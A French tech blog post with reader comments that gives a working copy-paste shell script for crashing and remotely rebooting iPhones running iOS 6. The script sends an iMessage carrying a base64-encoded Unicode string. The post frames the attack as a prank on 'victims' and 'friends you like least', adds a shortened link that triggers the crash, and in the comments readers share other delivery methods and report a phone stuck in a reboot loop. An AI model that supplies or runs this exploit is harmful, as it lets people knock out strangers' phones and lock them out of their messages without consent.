Les découvertes de failles sur Mac OSX se multiplient ces derniers jours. Après la faille sudo s'en est suivie il y a deux jours la faille de la chaine unicode qui fait planter quasiment tous les softs OSX/iOS, dévoilée sur un site russe exploitant une faille webkit (navigateur web de l'iPhone).
Nous vous révélons aujourd'hui comment mettre en œuvre cette dernière qui permet de redémarrer un iphone à distance (et sans crasher son Mac). Ce n'est pas une faille, mais plutôt un trou béant pour la pomme !
Démonstration
Pour vous prouver que cette faille iPhone fonctionne, deux lecteurs de Blogmotion m'ont fait parvenir une vidéo de démonstration :
http://www.youtube.com/watch?v=qWTgEQfY0Ec
Comme vous le constatez l'iPhone crashe et redémarre à deux reprises, le tout à distance sans même l'avoir touché !
Prérequis
Pour exploiter cette faille iOS, il vous faut :
- Un ordinateur Mac tournant sous Mountain Lion
- L'application Messages correctement configurée pour envoyer des iMessages
- Un accès au terminal
Comment faire
Ne reste alors plus qu'à exécuter le script suivant (copiez-collez dans votre terminal, et appuyez simplement sur la touche ENTREE) :
send_imessage() { ( echo 'tell application "Messages"' echo 'set SERVICE_IDS to (id of services whose service type is iMessage)' echo 'set SERVICE_ID to get first item of SERVICE_IDS' echo 'set theBuddy to buddy "'$1'" of service id SERVICE_ID' echo -n 'send "'; echo -n $2 | /usr/bin/sed -e 's/\"/\\\"/g'; echo '" to theBuddy' echo 'end tell' ) | osascript && echo "Message sent"; } reboot_iphone() { send_imessage "$1" "$(/usr/bin/base64 -D <( echo -n "2LPZhdmO2YDZjtmR2YjZj9mI2Y/YrdiuIMy3zLTMkNiuIMy3zLTMkNiu" echo -n "IMy3zLTMkNiuINin2YXYp9ix2KrZitiuIMy3zLTMkNiuCg=="))" }
Enfin, entrez la commande suivante en remplaçant +336xxxxxxxx par le numéro de téléphone portable de la victime, (ou +337.. pour les victimes un peu plus jeunes ;))
reboot_iphone +336xxxxxxxx
Attention : Par ailleurs, il est impossible d'afficher la liste des messages sans faire une restauration de l'iphone ou attendre la sortie d'iOS7 courant septembre puisque ce sont les iPhone sous iOS 6.x qui sont concernés. Surprise à réserver donc à vos amis les moins appréciés car ce n'est pas sans conséquence.
Reste encore une fois à attendre qu'Apple réagisse, c'est là tout le but de cet article ! Vous l'avez compris il suffit que cette chaine soit affichée sur l'iPhone pour le faire planté, ou faire planter l'application si elle est dans une sandbox. Il suffit par exemple d'envoyer la chaîne par SMS, ou d'appeler son réseau WiFi / BT avec cette chaine pour arriver au même résultat.
J'ai crée une URL directe pour ceux qui veulent tester (ne cliquez pas si vous avez un iPhone) : http://bit.ly/jmApple, voici la chaîne arabe en question dans une image (qui ne fera pas planté votre iPhone) :
Merci @pyrou et @jetwitaussi pour la vidéo et les informations sur l'exploit
Auteur : Mr Xhark
Fondateur du blog et passionné par les nouvelles techno, suivez-moi sur twitter
17 commentaires
Le problème ne se pose qu'a l'affichage du texte.
Donc il suffit d'un deuxième message pour que la liste des messages puisse se réouvrir, et 3-4 messages pour qu'on puisse de nouveau ouvrir le contact dans messages (faut juste pas scroller pour remonter la liste).
Et si on desactive iMessage sur l'iPhone ?
Non il faut supplier la personne qui t'as envoyer le premier message de t'en renvoyer, car même si 25 de tes amis t'écrivent, cela ne suffit pas à le faire disparaître de la liste de tous les messages.
Et meme la... Encore faut il savoir qui te la envoyer car impossible de le voir
@Wiz :
Une fois le message reçu, ça ne changera pas le problème. Et tu peux même le recevoir par SMS je pense, je vois pas ce que ça changerait.
Il faut savoir que touchant l'API CoreText, ça touche en fait le coeur du système. Toute app qui utilise CoreText pour du rendu plantera sur cette chaîne (Il y a eu la même y a pas longtemps avec File:///).
Donc sur un Mac, si on colle la chaine dans certains champs texte, l'appli plante (TweetDeck par ex).
Le message en question est affichable sans danger, sous forme d'image à cette adresse : http://www.zupmage.eu/i/2Wsagm7vnv.png.
Ce texte fait crasher iOS, si on envoie plein de messages ensuite ça va. On ne voit pas le message quand il est envoyé.
Pour ceux qui sont sous un iOS jailbreaké effacer le message via le tweak "Remote Messages" :).
En fait il y a bien plus simple puisqu'il suffit d'envoyer un mail contenant les caractères (goo.gl/0mHyoX) et d'essayer de l'ouvrir sur son iPhone...
Pour iMessage, pas besoin de restauration de l'iPhone , il est possible de s'en sortir seul !
Il suffit d'aller dans n'importe quel contact, puis sur "Envoyer un message". Dans le champ "A", supprimez le nom présent et allez chercher celui de la personne qui vous a envoyé l'exploit.
Envoyez lui n'importe quel message (une insulte par exemple :p). l'iPhone devrait planter à nouveau.
Vous pouvez désormais vous rendre à nouveau sur l'application "Message" de l'iPhone.
Il ne vous reste plus qu'à faire le ménage de la conversation de l'expéditeur de l'exploit.
@erwamartin: oui, mais l'avantage de la solution Mac OS est que l'on est sûr que le message arrive sur un iPhone, car si la personne lit le mail en question sur autre chose que son iPhone le résultat ne sera pas là 🙂
On attend toujours que apple répare la faille de son support exFAT sur OSX qui efface purement et simplement le disque dur. Cette faille a trois ans et Apple ne réagit toujours pas malgré de nombreuses personnes qui perdent leurs données tous les jours.
@MG: "supprimez le nom présent et allez chercher celui de la personne qui vous a envoyé l’exploit."
Sauf qu'il n'est pas possible de savoir qui te l'a envoyé 😉 c'est peut etre même quelqu'un qui n'est pas dans ton répertoire
Normal que j'ai le "-bash: syntax error near unexpected token" quand je copie colle le script dans le terminal ?
@loul: tu peux nous joindre une capture d'écran que l'on regarde à quel moment tu as une coquille ?
Bonsoir! J'aimerais être sure d'avoir compris la méthode via sms. Pour effectuer ce reboot sur un autre téléphone, suffit-il d'envoyer l'adresse URL et que la personne clique pour que le reboot fasse effet?
S'il-vous-plaît , j'ai envoyé ce script a un pote par msg moi j'ai Android lui iPhone 5 et son tel lui y fait que de s'éteindre et de ce rallumer ça fait plus 20fois et sa continue on a supprimer les conversation et ça clnatinue toujours , et y s'éteint quand on l'appel aussi. C'est quoi la solution svp